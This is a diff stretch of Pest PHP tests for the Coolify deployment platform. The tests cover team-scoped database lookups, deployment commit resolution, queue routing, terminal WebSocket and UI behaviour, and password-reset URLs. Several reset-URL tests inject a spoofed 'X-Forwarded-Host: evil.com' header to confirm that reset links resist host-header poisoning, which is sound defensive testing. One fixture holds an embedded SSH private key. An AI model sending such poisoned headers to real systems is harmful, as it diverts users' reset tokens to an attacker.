expect($found->uuid)->toBe($database->uuid);
|
||||
expect($found)->toBeInstanceOf(StandalonePostgresql::class);
|
||||
});
|
||||
|
||||
test('queryDatabaseByUuidWithinTeam returns null when team does not own the database', function () {
|
||||
$database = StandalonePostgresql::create([
|
||||
'name' => 'pg-team-a',
|
||||
'image' => 'postgres:15-alpine',
|
||||
'postgres_user' => 'postgres',
|
||||
'postgres_password' => 'password',
|
||||
'postgres_db' => 'postgres',
|
||||
'environment_id' => $this->envA->id,
|
||||
'destination_id' => $this->destinationA->id,
|
||||
'destination_type' => $this->destinationA->getMorphClass(),
|
||||
]);
|
||||
|
||||
$found = queryDatabaseByUuidWithinTeam($database->uuid, (string) $this->teamB->id);
|
||||
|
||||
expect($found)->toBeNull();
|
||||
});
|
||||
|
||||
test('queryDatabaseByUuidWithinTeam returns null for unknown uuid', function () {
|
||||
$found = queryDatabaseByUuidWithinTeam('does-not-exist', (string) $this->teamA->id);
|
||||
|
||||
expect($found)->toBeNull();
|
||||
});
|
||||
|
||||
test('queryDatabaseByUuidWithinTeam can query every registered standalone database type without error', function () {
|
||||
foreach (STANDALONE_DATABASE_MODELS as $slug => $modelClass) {
|
||||
$count = $modelClass::query()->whereUuid('non-existent-uuid')->count();
|
||||
expect($count)->toBe(0, "{$modelClass} ({$slug}) failed whereUuid() smoke query");
|
||||
}
|
||||
});
|
||||
@@ -0,0 +1,107 @@
|
||||
<?php
|
||||
|
||||
use App\Jobs\ApplicationDeploymentJob;
|
||||
use App\Models\Application;
|
||||
use App\Models\ApplicationDeploymentQueue;
|
||||
use App\Models\Environment;
|
||||
use App\Models\Project;
|
||||
use App\Models\Server;
|
||||
use App\Models\StandaloneDocker;
|
||||
use App\Models\Team;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Bus;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
Bus::fake([ApplicationDeploymentJob::class]);
|
||||
|
||||
$this->team = Team::factory()->create();
|
||||
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->destination = StandaloneDocker::factory()->create([
|
||||
'server_id' => $this->server->id,
|
||||
'network' => 'test-network-'.fake()->unique()->word(),
|
||||
]);
|
||||
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
|
||||
});
|
||||
|
||||
function makeApplication(int $environmentId, int $destinationId, ?string $gitCommitSha): Application
|
||||
{
|
||||
$attributes = [
|
||||
'environment_id' => $environmentId,
|
||||
'destination_id' => $destinationId,
|
||||
'destination_type' => StandaloneDocker::class,
|
||||
];
|
||||
|
||||
if ($gitCommitSha !== null) {
|
||||
$attributes['git_commit_sha'] = $gitCommitSha;
|
||||
}
|
||||
|
||||
return Application::factory()->create($attributes);
|
||||
}
|
||||
|
||||
describe('queue_application_deployment commit resolution', function () {
|
||||
test('uses application git_commit_sha when commit parameter omitted', function () {
|
||||
$pinnedSha = 'abc123def456abc123def456abc123def456abc1';
|
||||
$application = makeApplication($this->environment->id, $this->destination->id, $pinnedSha);
|
||||
|
||||
$result = queue_application_deployment(
|
||||
application: $application,
|
||||
deployment_uuid: 'test-deploy-uuid-1',
|
||||
);
|
||||
|
||||
expect($result['status'])->toBe('queued');
|
||||
|
||||
$deployment = ApplicationDeploymentQueue::where('deployment_uuid', 'test-deploy-uuid-1')->first();
|
||||
expect($deployment)->not->toBeNull();
|
||||
expect($deployment->commit)->toBe($pinnedSha);
|
||||
});
|
||||
|
||||
test('falls back to HEAD when both commit parameter and git_commit_sha are unset', function () {
|
||||
$application = makeApplication($this->environment->id, $this->destination->id, 'HEAD');
|
||||
|
||||
$result = queue_application_deployment(
|
||||
application: $application,
|
||||
deployment_uuid: 'test-deploy-uuid-2',
|
||||
);
|
||||
|
||||
expect($result['status'])->toBe('queued');
|
||||
|
||||
$deployment = ApplicationDeploymentQueue::where('deployment_uuid', 'test-deploy-uuid-2')->first();
|
||||
expect($deployment->commit)->toBe('HEAD');
|
||||
});
|
||||
|
||||
test('explicit commit parameter overrides application git_commit_sha', function () {
|
||||
$pinnedSha = 'abc123def456abc123def456abc123def456abc1';
|
||||
$webhookSha = '111222333444555666777888999000aaabbbccc1';
|
||||
$application = makeApplication($this->environment->id, $this->destination->id, $pinnedSha);
|
||||
|
||||
$result = queue_application_deployment(
|
||||
application: $application,
|
||||
deployment_uuid: 'test-deploy-uuid-3',
|
||||
commit: $webhookSha,
|
||||
);
|
||||
|
||||
expect($result['status'])->toBe('queued');
|
||||
|
||||
$deployment = ApplicationDeploymentQueue::where('deployment_uuid', 'test-deploy-uuid-3')->first();
|
||||
expect($deployment->commit)->toBe($webhookSha);
|
||||
});
|
||||
|
||||
test('treats empty string commit parameter as unset and uses git_commit_sha', function () {
|
||||
$pinnedSha = 'abc123def456abc123def456abc123def456abc1';
|
||||
$application = makeApplication($this->environment->id, $this->destination->id, $pinnedSha);
|
||||
|
||||
$result = queue_application_deployment(
|
||||
application: $application,
|
||||
deployment_uuid: 'test-deploy-uuid-4',
|
||||
commit: '',
|
||||
);
|
||||
|
||||
expect($result['status'])->toBe('queued');
|
||||
|
||||
$deployment = ApplicationDeploymentQueue::where('deployment_uuid', 'test-deploy-uuid-4')->first();
|
||||
expect($deployment->commit)->toBe($pinnedSha);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,74 @@
|
||||
<?php
|
||||
|
||||
use App\Actions\Database\StartDatabase;
|
||||
use App\Actions\Database\StartDatabaseProxy;
|
||||
use App\Actions\Service\StartService;
|
||||
use App\Jobs\DatabaseBackupJob;
|
||||
use App\Jobs\ScheduledJobManager;
|
||||
use App\Models\ScheduledDatabaseBackup;
|
||||
|
||||
describe('deployment_queue helper', function () {
|
||||
test('uses the high queue on self-hosted', function () {
|
||||
config(['constants.coolify.self_hosted' => true]);
|
||||
|
||||
expect(deployment_queue())->toBe('high');
|
||||
});
|
||||
|
||||
test('uses the deployments queue on cloud', function () {
|
||||
config(['constants.coolify.self_hosted' => false]);
|
||||
|
||||
expect(deployment_queue())->toBe('deployments');
|
||||
});
|
||||
});
|
||||
|
||||
describe('crons_queue helper', function () {
|
||||
test('uses the high queue on self-hosted', function () {
|
||||
config(['constants.coolify.self_hosted' => true]);
|
||||
|
||||
expect(crons_queue())->toBe('high');
|
||||
});
|
||||
|
||||
test('uses the crons queue on cloud', function () {
|
||||
config(['constants.coolify.self_hosted' => false]);
|
||||
|
||||
expect(crons_queue())->toBe('crons');
|
||||
});
|
||||
});
|
||||
|
||||
describe('start action job routing', function () {
|
||||
test('routes to the deployments queue on cloud', function (string $actionClass) {
|
||||
config(['constants.coolify.self_hosted' => false]);
|
||||
|
||||
expect($actionClass::makeJob()->queue)->toBe('deployments');
|
||||
})->with([
|
||||
StartDatabase::class,
|
||||
StartDatabaseProxy::class,
|
||||
StartService::class,
|
||||
]);
|
||||
|
||||
test('routes to the high queue on self-hosted', function (string $actionClass) {
|
||||
config(['constants.coolify.self_hosted' => true]);
|
||||
|
||||
expect($actionClass::makeJob()->queue)->toBe('high');
|
||||
})->with([
|
||||
StartDatabase::class,
|
||||
StartDatabaseProxy::class,
|
||||
StartService::class,
|
||||
]);
|
||||
});
|
||||
|
||||
describe('scheduled job routing', function () {
|
||||
test('scheduled jobs use the crons queue on cloud', function () {
|
||||
config(['constants.coolify.self_hosted' => false]);
|
||||
|
||||
expect((new ScheduledJobManager)->queue)->toBe('crons');
|
||||
expect((new DatabaseBackupJob(new ScheduledDatabaseBackup))->queue)->toBe('crons');
|
||||
});
|
||||
|
||||
test('scheduled jobs use the high queue on self-hosted', function () {
|
||||
config(['constants.coolify.self_hosted' => true]);
|
||||
|
||||
expect((new ScheduledJobManager)->queue)->toBe('high');
|
||||
expect((new DatabaseBackupJob(new ScheduledDatabaseBackup))->queue)->toBe('high');
|
||||
});
|
||||
});
|
||||
@@ -24,11 +24,195 @@ it('keeps terminal browser logging restricted to Vite development mode', functio
|
||||
->not->toContain("console.log('[Terminal] WebSocket connection established. Cool cool cool cool cool cool.');");
|
||||
});
|
||||
|
||||
it('keeps realtime terminal server logging restricted to development environments', function () {
|
||||
it('keeps realtime terminal server logging behind the explicit debug flag', function () {
|
||||
$terminalServer = file_get_contents(base_path('docker/coolify-realtime/terminal-server.js'));
|
||||
|
||||
expect($terminalServer)
|
||||
->toContain("const terminalDebugEnabled = ['local', 'development'].includes(")
|
||||
->toContain('const debugOverride = String(process.env.TERMINAL_DEBUG')
|
||||
->toContain("['1', 'true', 'yes', 'on'].includes(debugOverride)")
|
||||
->toContain('if (!terminalDebugEnabled) {')
|
||||
->not->toContain("console.log('Coolify realtime terminal server listening on port 6002. Let the hacking begin!');");
|
||||
});
|
||||
|
||||
it('configures a server-initiated WebSocket heartbeat to survive proxy idle timeouts', function () {
|
||||
$terminalServer = file_get_contents(base_path('docker/coolify-realtime/terminal-server.js'));
|
||||
|
||||
expect($terminalServer)
|
||||
->toContain('ws.isAlive = true;')
|
||||
->toContain("ws.on('pong'")
|
||||
->toContain('ws.ping();')
|
||||
->toContain('ws.terminate();')
|
||||
->toContain('HEARTBEAT_INTERVAL_MS');
|
||||
});
|
||||
|
||||
it('removes the keepalive short-circuit that fired when the tab was hidden', function () {
|
||||
$terminalClient = file_get_contents(base_path('resources/js/terminal.js'));
|
||||
|
||||
expect($terminalClient)
|
||||
->not->toContain('// Skip keepalive when document is hidden to prevent unnecessary disconnects');
|
||||
});
|
||||
|
||||
it('uses a fast probe timeout when the tab regains visibility', function () {
|
||||
$terminalClient = file_get_contents(base_path('resources/js/terminal.js'));
|
||||
|
||||
expect($terminalClient)
|
||||
->toContain("'Visibility-resume timeout'");
|
||||
});
|
||||
|
||||
it('does not hard close terminal sessions after 30 minutes on the server', function () {
|
||||
$terminalServer = file_get_contents(base_path('docker/coolify-realtime/terminal-server.js'));
|
||||
|
||||
expect($terminalServer)
|
||||
->not->toContain('IDLE_TIMEOUT_MS = 30 * 60 * 1000')
|
||||
->not->toContain("ws.send('idle-timeout');")
|
||||
->not->toContain("ws.close(1000, 'Idle timeout');");
|
||||
});
|
||||
|
||||
it('does not close the client terminal from an idle-timeout sentinel', function () {
|
||||
$terminalClient = file_get_contents(base_path('resources/js/terminal.js'));
|
||||
|
||||
expect($terminalClient)
|
||||
->not->toContain("event.data === 'idle-timeout'")
|
||||
->not->toContain('Terminal closed after 30 minutes of inactivity.');
|
||||
});
|
||||
|
||||
it('keeps Livewire alive in background tabs while a terminal is connected', function () {
|
||||
$terminalComponent = file_get_contents(base_path('app/Livewire/Project/Shared/Terminal.php'));
|
||||
$terminalView = file_get_contents(base_path('resources/views/livewire/project/shared/terminal.blade.php'));
|
||||
|
||||
expect($terminalComponent)
|
||||
->toContain('public bool $isTerminalConnected = false;')
|
||||
->toContain("#[On('terminalConnected')]")
|
||||
->toContain('public function markTerminalConnected(): void')
|
||||
->toContain('public function keepTerminalPageAlive(): void')
|
||||
->and($terminalView)
|
||||
->toContain('@if ($isTerminalConnected)')
|
||||
->toContain('wire:poll.keep-alive.30s="keepTerminalPageAlive"');
|
||||
});
|
||||
|
||||
it('exits fullscreen when the terminal process exits', function () {
|
||||
$terminalClient = file_get_contents(resource_path('js/terminal.js'));
|
||||
|
||||
expect($terminalClient)
|
||||
->toContain("event.data === 'pty-exited'")
|
||||
->toContain('this.fullscreen = false;
|
||||
this.mobileToolbarCollapsed = false;
|
||||
this.terminalActive = false;');
|
||||
});
|
||||
|
||||
it('replays the last command on reconnect so the PTY respawns automatically', function () {
|
||||
$terminalClient = file_get_contents(base_path('resources/js/terminal.js'));
|
||||
|
||||
expect($terminalClient)
|
||||
->toContain('lastSentCommand')
|
||||
->toContain('Replaying last command after reconnect.')
|
||||
->toContain('this.lastSentCommand = null;');
|
||||
});
|
||||
|
||||
it('buffers messages received before the realtime server finishes auth so the replay is not lost', function () {
|
||||
$terminalServer = file_get_contents(base_path('docker/coolify-realtime/terminal-server.js'));
|
||||
|
||||
expect($terminalServer)
|
||||
->toContain('authReady: false')
|
||||
->toContain('pendingMessages: []')
|
||||
->toContain('userSession.pendingMessages.push(message)')
|
||||
->toContain('userSession.authReady = true');
|
||||
});
|
||||
|
||||
it('preserves terminal scrollback across transient reconnects', function () {
|
||||
$terminalClient = file_get_contents(base_path('resources/js/terminal.js'));
|
||||
|
||||
expect($terminalClient)
|
||||
->toContain('── Connection lost at')
|
||||
->toContain('── Reconnected at')
|
||||
// resetTerminal must NOT call term.reset()/term.clear() any more — those wipe scrollback.
|
||||
->not->toContain("this.term.reset();\n this.term.clear();");
|
||||
});
|
||||
|
||||
it('renders a compact mobile terminal toolbar with shell control keys', function () {
|
||||
$terminalView = file_get_contents(resource_path('views/livewire/project/shared/terminal.blade.php'));
|
||||
$appCss = file_get_contents(resource_path('css/app.css'));
|
||||
|
||||
expect($terminalView)
|
||||
->toContain('Terminal keys')
|
||||
->toContain('sm:hidden')
|
||||
->toContain("sendTerminalControl('arrowUp')")
|
||||
->toContain("sendTerminalControl('arrowDown')")
|
||||
->toContain("sendTerminalControl('arrowLeft')")
|
||||
->toContain("sendTerminalControl('arrowRight')")
|
||||
->toContain("sendTerminalControl('tab')")
|
||||
->toContain("sendTerminalControl('escape')")
|
||||
->not->toContain("sendTerminalControl('ctrlC')")
|
||||
->not->toContain('pasteFromClipboard()')
|
||||
->not->toContain('copyTerminalSelection()')
|
||||
->toContain('mobileToolbarCollapsed')
|
||||
->toContain("fullscreen ? 'absolute inset-x-0 bottom-0 z-[9999] px-2 pb-2' : 'relative mt-2'")
|
||||
->toContain('data-terminal-mobile-toolbar')
|
||||
->and($appCss)
|
||||
->toContain('.terminal-mobile-key');
|
||||
});
|
||||
|
||||
it('sends terminal mobile toolbar controls through the websocket', function () {
|
||||
$terminalClient = file_get_contents(resource_path('js/terminal.js'));
|
||||
|
||||
expect($terminalClient)
|
||||
->toContain('sendTerminalInput(data)')
|
||||
->toContain('sendTerminalControl(sequence)')
|
||||
->toContain("arrowUp: '\\x1b[A'")
|
||||
->toContain("arrowDown: '\\x1b[B'")
|
||||
->toContain("arrowRight: '\\x1b[C'")
|
||||
->toContain("arrowLeft: '\\x1b[D'")
|
||||
->toContain("tab: '\\t'")
|
||||
->toContain("escape: '\\x1b'")
|
||||
->toContain("ctrlC: '\\x03'")
|
||||
->toContain('navigator.clipboard.readText()')
|
||||
->toContain('navigator.clipboard.writeText(selection)');
|
||||
});
|
||||
|
||||
it('uses terminal dimensions when resizing so mobile controls do not cover terminal rows', function () {
|
||||
$terminalClient = file_get_contents(resource_path('js/terminal.js'));
|
||||
|
||||
expect($terminalClient)
|
||||
->toContain("document.getElementById('terminal')")
|
||||
->toContain('terminalHeight')
|
||||
->toContain('terminalWidth')
|
||||
->not->toContain('const wrapperHeight = this.$refs.terminalWrapper.clientHeight;');
|
||||
});
|
||||
|
||||
it('uses simple fullscreen bottom margin based on mobile toolbar visibility', function () {
|
||||
$terminalClient = file_get_contents(resource_path('js/terminal.js'));
|
||||
$terminalView = file_get_contents(resource_path('views/livewire/project/shared/terminal.blade.php'));
|
||||
|
||||
expect($terminalClient)
|
||||
->not->toContain('updateFullscreenLayout()')
|
||||
->not->toContain('terminalFullscreenHeight')
|
||||
->not->toContain('window.visualViewport?.height')
|
||||
->and($terminalView)
|
||||
->toContain("mobileToolbarCollapsed ? 'h-[calc(100dvh-3.5rem)] mb-14 px-2 py-1 bg-black' : 'h-[calc(100dvh-6rem)] mb-[6rem] px-2 py-1 bg-black'")
|
||||
->toContain("fullscreen ? 'absolute inset-x-0 bottom-0 z-[9999] px-2 pb-2'");
|
||||
});
|
||||
|
||||
it('resizes after toggling the mobile terminal toolbar', function () {
|
||||
$terminalView = file_get_contents(resource_path('views/livewire/project/shared/terminal.blade.php'));
|
||||
|
||||
expect($terminalView)
|
||||
->toContain('$nextTick(() => resizeTerminal())');
|
||||
});
|
||||
|
||||
it('uses fixed viewport positioning for fullscreen terminal instead of inherited container size', function () {
|
||||
$terminalView = file_get_contents(resource_path('views/livewire/project/shared/terminal.blade.php'));
|
||||
|
||||
expect($terminalView)
|
||||
->toContain('fixed inset-0')
|
||||
->toContain('h-[100dvh]')
|
||||
->toContain('w-screen')
|
||||
->toContain('max-w-none')
|
||||
->toContain('overflow-hidden');
|
||||
});
|
||||
|
||||
it('constrains normal terminal height after leaving fullscreen', function () {
|
||||
$terminalView = file_get_contents(resource_path('views/livewire/project/shared/terminal.blade.php'));
|
||||
|
||||
expect($terminalView)
|
||||
->toContain('h-[510px] max-h-[calc(100dvh-10rem)] overflow-hidden');
|
||||
});
|
||||
@@ -0,0 +1,187 @@
|
||||
<?php
|
||||
|
||||
use App\Models\InstanceSettings;
|
||||
use App\Models\User;
|
||||
use App\Notifications\TransactionalEmails\ResetPassword;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Cache;
|
||||
use Illuminate\Support\Once;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
Cache::forget('instance_settings_fqdn_host');
|
||||
Once::flush();
|
||||
});
|
||||
|
||||
function callResetUrl(ResetPassword $notification, $notifiable): string
|
||||
{
|
||||
$method = new ReflectionMethod($notification, 'resetUrl');
|
||||
|
||||
return $method->invoke($notification, $notifiable);
|
||||
}
|
||||
|
||||
it('generates reset URL using configured FQDN, not request host', function () {
|
||||
InstanceSettings::updateOrCreate(
|
||||
['id' => 0],
|
||||
['fqdn' => 'https://coolify.example.com', 'public_ipv4' => '65.21.3.91']
|
||||
);
|
||||
Once::flush();
|
||||
|
||||
$user = User::factory()->create();
|
||||
$notification = new ResetPassword('test-token-abc', isTransactionalEmail: false);
|
||||
|
||||
$url = callResetUrl($notification, $user);
|
||||
|
||||
expect($url)
|
||||
->toStartWith('https://coolify.example.com/')
|
||||
->toContain('test-token-abc')
|
||||
->toContain(urlencode($user->email))
|
||||
->not->toContain('localhost');
|
||||
});
|
||||
|
||||
it('generates reset URL using public IP when no FQDN is configured', function () {
|
||||
InstanceSettings::updateOrCreate(
|
||||
['id' => 0],
|
||||
['fqdn' => null, 'public_ipv4' => '65.21.3.91']
|
||||
);
|
||||
Once::flush();
|
||||
|
||||
$user = User::factory()->create();
|
||||
$notification = new ResetPassword('test-token-abc', isTransactionalEmail: false);
|
||||
|
||||
$url = callResetUrl($notification, $user);
|
||||
|
||||
expect($url)
|
||||
->toContain('65.21.3.91')
|
||||
->toContain('test-token-abc')
|
||||
->not->toContain('evil.com');
|
||||
});
|
||||
|
||||
it('is immune to X-Forwarded-Host header poisoning when FQDN is set', function () {
|
||||
InstanceSettings::updateOrCreate(
|
||||
['id' => 0],
|
||||
['fqdn' => 'https://coolify.example.com', 'public_ipv4' => '65.21.3.91']
|
||||
);
|
||||
Once::flush();
|
||||
|
||||
// Simulate a request with a spoofed X-Forwarded-Host header
|
||||
$user = User::factory()->create();
|
||||
|
||||
$this->withHeaders([
|
||||
'X-Forwarded-Host' => 'evil.com',
|
||||
])->get('/');
|
||||
|
||||
$notification = new ResetPassword('poisoned-token', isTransactionalEmail: false);
|
||||
$url = callResetUrl($notification, $user);
|
||||
|
||||
expect($url)
|
||||
->toStartWith('https://coolify.example.com/')
|
||||
->toContain('poisoned-token')
|
||||
->not->toContain('evil.com');
|
||||
});
|
||||
|
||||
it('is immune to X-Forwarded-Host header poisoning when using IP only', function () {
|
||||
InstanceSettings::updateOrCreate(
|
||||
['id' => 0],
|
||||
['fqdn' => null, 'public_ipv4' => '65.21.3.91']
|
||||
);
|
||||
Once::flush();
|
||||
|
||||
$user = User::factory()->create();
|
||||
|
||||
$this->withHeaders([
|
||||
'X-Forwarded-Host' => 'evil.com',
|
||||
])->get('/');
|
||||
|
||||
$notification = new ResetPassword('poisoned-token', isTransactionalEmail: false);
|
||||
$url = callResetUrl($notification, $user);
|
||||
|
||||
expect($url)
|
||||
->toContain('65.21.3.91')
|
||||
->toContain('poisoned-token')
|
||||
->not->toContain('evil.com');
|
||||
});
|
||||
|
||||
it('generates reset URL with bracketed IPv6 when no FQDN is configured', function () {
|
||||
InstanceSettings::updateOrCreate(
|
||||
['id' => 0],
|
||||
['fqdn' => null, 'public_ipv4' => null, 'public_ipv6' => '2001:db8::1']
|
||||
);
|
||||
Once::flush();
|
||||
|
||||
$user = User::factory()->create();
|
||||
$notification = new ResetPassword('ipv6-token', isTransactionalEmail: false);
|
||||
|
||||
$url = callResetUrl($notification, $user);
|
||||
|
||||
expect($url)
|
||||
->toContain('[2001:db8::1]')
|
||||
->toContain('ipv6-token')
|
||||
->toContain(urlencode($user->email));
|
||||
});
|
||||
|
||||
it('is immune to X-Forwarded-Host header poisoning when using IPv6 only', function () {
|
||||
InstanceSettings::updateOrCreate(
|
||||
['id' => 0],
|
||||
['fqdn' => null, 'public_ipv4' => null, 'public_ipv6' => '2001:db8::1']
|
||||
);
|
||||
Once::flush();
|
||||
|
||||
$user = User::factory()->create();
|
||||
|
||||
$this->withHeaders([
|
||||
'X-Forwarded-Host' => 'evil.com',
|
||||
])->get('/');
|
||||
|
||||
$notification = new ResetPassword('poisoned-token', isTransactionalEmail: false);
|
||||
$url = callResetUrl($notification, $user);
|
||||
|
||||
expect($url)
|
||||
->toContain('[2001:db8::1]')
|
||||
->toContain('poisoned-token')
|
||||
->not->toContain('evil.com');
|
||||
});
|
||||
|
||||
it('uses APP_URL fallback when no FQDN or public IPs are configured', function () {
|
||||
InstanceSettings::updateOrCreate(
|
||||
['id' => 0],
|
||||
['fqdn' => null, 'public_ipv4' => null, 'public_ipv6' => null]
|
||||
);
|
||||
Once::flush();
|
||||
|
||||
config(['app.url' => 'http://my-coolify.local']);
|
||||
|
||||
$user = User::factory()->create();
|
||||
|
||||
$this->withHeaders([
|
||||
'X-Forwarded-Host' => 'evil.com',
|
||||
])->get('/');
|
||||
|
||||
$notification = new ResetPassword('fallback-token', isTransactionalEmail: false);
|
||||
$url = callResetUrl($notification, $user);
|
||||
|
||||
expect($url)
|
||||
->toStartWith('http://my-coolify.local/')
|
||||
->toContain('fallback-token')
|
||||
->not->toContain('evil.com');
|
||||
});
|
||||
|
||||
it('generates a valid route path in the reset URL', function () {
|
||||
InstanceSettings::updateOrCreate(
|
||||
['id' => 0],
|
||||
['fqdn' => 'https://coolify.example.com']
|
||||
);
|
||||
Once::flush();
|
||||
|
||||
$user = User::factory()->create();
|
||||
$notification = new ResetPassword('my-token', isTransactionalEmail: false);
|
||||
|
||||
$url = callResetUrl($notification, $user);
|
||||
|
||||
// Should contain the password reset route path with token and email
|
||||
expect($url)
|
||||
->toContain('/reset-password/')
|
||||
->toContain('my-token')
|
||||
->toContain(urlencode($user->email));
|
||||
});
|
||||
@@ -0,0 +1,113 @@
|
||||
<?php
|
||||
|
||||
use App\Enums\ProxyStatus;
|
||||
use App\Enums\ProxyTypes;
|
||||
use App\Models\Application;
|
||||
use App\Models\Environment;
|
||||
use App\Models\InstanceSettings;
|
||||
use App\Models\PrivateKey;
|
||||
use App\Models\Project;
|
||||
use App\Models\Server;
|
||||
use App\Models\StandaloneDocker;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
InstanceSettings::unguarded(function () {
|
||||
InstanceSettings::query()->create([
|
||||
'id' => 0,
|
||||
'is_registration_enabled' => true,
|
||||
]);
|
||||
});
|
||||
|
||||
$this->user = User::factory()->create([
|
||||
'name' => 'Test User',
|
||||
'email' => 'test@example.com',
|
||||
]);
|
||||
|
||||
$this->team = Team::factory()->create([
|
||||
'show_boarding' => false,
|
||||
]);
|
||||
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
|
||||
|
||||
$this->actingAs($this->user);
|
||||
session(['currentTeam' => $this->team]);
|
||||
|
||||
$this->privateKey = PrivateKey::create([
|
||||
'team_id' => $this->team->id,
|
||||
'name' => 'Test Key',
|
||||
'description' => 'Test SSH key',
|
||||
'private_key' => '-----BEGIN OPENSSH PRIVATE KEY-----
|
||||
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
|
||||
QyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevAAAAJi/QySHv0Mk
|
||||
hwAAAAtzc2gtZWQyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevA
|
||||
AAAECBQw4jg1WRT2IGHMncCiZhURCts2s24HoDS0thHnnRKVuGmoeGq/pojrsyP1pszcNV
|
||||
uZx9iFkCELtxrh31QJ68AAAAEXNhaWxANzZmZjY2ZDJlMmRkAQIDBA==
|
||||
-----END OPENSSH PRIVATE KEY-----',
|
||||
]);
|
||||
|
||||
$this->server = Server::factory()->create([
|
||||
'team_id' => $this->team->id,
|
||||
'private_key_id' => $this->privateKey->id,
|
||||
'proxy' => [
|
||||
'type' => ProxyTypes::TRAEFIK->value,
|
||||
'status' => ProxyStatus::EXITED->value,
|
||||
],
|
||||
]);
|
||||
|
||||
$this->destination = StandaloneDocker::query()
|
||||
->where('server_id', $this->server->id)
|
||||
->firstOrFail();
|
||||
|
||||
$this->project = Project::factory()->create([
|
||||
'team_id' => $this->team->id,
|
||||
]);
|
||||
|
||||
$this->environment = Environment::factory()->create([
|
||||
'project_id' => $this->project->id,
|
||||
]);
|
||||
|
||||
$this->application = Application::factory()->create([
|
||||
'environment_id' => $this->environment->id,
|
||||
'destination_id' => $this->destination->id,
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
'status' => 'running',
|
||||
]);
|
||||
});
|
||||
|
||||
it('renders responsive checkbox classes on the application configuration page', function () {
|
||||
$response = $this->get(route('project.application.configuration', [
|
||||
'project_uuid' => $this->project->uuid,
|
||||
'environment_uuid' => $this->environment->uuid,
|
||||
'application_uuid' => $this->application->uuid,
|
||||
]));
|
||||
|
||||
$response->assertSuccessful();
|
||||
$response->assertSee('Use a Build Server?');
|
||||
$response->assertSee('form-control flex max-w-full flex-row items-center gap-4 py-1 pr-2', false);
|
||||
$response->assertSee('label flex w-full max-w-full min-w-0 items-center gap-4 px-0', false);
|
||||
$response->assertSee('flex min-w-0 grow gap-2 break-words', false);
|
||||
$response->assertSee('shrink-0', false);
|
||||
$response->assertSee('pt-2 w-full sm:w-96', false);
|
||||
|
||||
expect($response->getContent())->not->toContain('min-w-fit');
|
||||
});
|
||||
|
||||
it('renders responsive checkbox classes on the server page', function () {
|
||||
$response = $this->get(route('server.show', [
|
||||
'server_uuid' => $this->server->uuid,
|
||||
]));
|
||||
|
||||
$response->assertSuccessful();
|
||||
$response->assertSee('Use it as a build server?');
|
||||
$response->assertSee('form-control flex max-w-full flex-row items-center gap-4 py-1 pr-2', false);
|
||||
$response->assertSee('label flex w-full max-w-full min-w-0 items-center gap-4 px-0', false);
|
||||
$response->assertSee('flex min-w-0 grow gap-2 break-words', false);
|
||||
$response->assertSee('shrink-0', false);
|
||||
$response->assertSee('w-full sm:w-96', false);
|
||||
|
||||
expect($response->getContent())->not->toContain('min-w-fit');
|
||||
});
|
||||
@@ -0,0 +1,50 @@
|
||||
<?php
|
||||
|
||||
use App\Models\InstanceSettings;
|
||||
use Illuminate\Console\Scheduling\Schedule;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
InstanceSettings::unguarded(fn () => InstanceSettings::query()->firstOrCreate(['id' => 0]));
|
||||
});
|
||||
|
||||
it('schedules RegenerateSslCertJob with onOneServer to prevent multi-server double dispatch', function () {
|
||||
$schedule = app(Schedule::class);
|
||||
|
||||
$event = collect($schedule->events())->first(
|
||||
fn ($e) => str_contains((string) $e->description, 'RegenerateSslCertJob')
|
||||
);
|
||||
|
||||
expect($event)->not->toBeNull();
|
||||
expect($event->onOneServer)->toBeTrue();
|
||||
});
|
||||
|
||||
it('schedules ssh mux cleanup locally on every scheduler host', function () {
|
||||
$schedule = app(Schedule::class);
|
||||
|
||||
$event = collect($schedule->events())->first(
|
||||
fn ($e) => (string) $e->description === 'cleanup:ssh-mux'
|
||||
);
|
||||
|
||||
expect($event)->not->toBeNull();
|
||||
expect($event->onOneServer)->toBeFalse();
|
||||
expect($event->getSummaryForDisplay())->toBe('cleanup:ssh-mux');
|
||||
});
|
||||
|
||||
it('schedules every production job with onOneServer', function () {
|
||||
$schedule = app(Schedule::class);
|
||||
|
||||
$jobEvents = collect($schedule->events())->filter(
|
||||
fn ($e) => str_contains((string) $e->description, 'App\\Jobs\\')
|
||||
);
|
||||
|
||||
expect($jobEvents)->not->toBeEmpty();
|
||||
|
||||
$jobEvents->each(function ($event) {
|
||||
expect($event->onOneServer)->toBeTrue(
|
||||
"Scheduled job [{$event->description}] is missing ->onOneServer()"
|
||||
);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,150 @@
|
||||
<?php
|
||||
|
||||
use App\Jobs\ScheduledJobManager;
|
||||
use App\Jobs\ScheduledTaskJob;
|
||||
use App\Models\Application;
|
||||
use App\Models\Environment;
|
||||
use App\Models\PrivateKey;
|
||||
use App\Models\Project;
|
||||
use App\Models\ScheduledTask;
|
||||
use App\Models\Server;
|
||||
use App\Models\StandaloneDocker;
|
||||
use App\Models\Team;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Carbon;
|
||||
use Illuminate\Support\Facades\Cache;
|
||||
use Illuminate\Support\Facades\DB;
|
||||
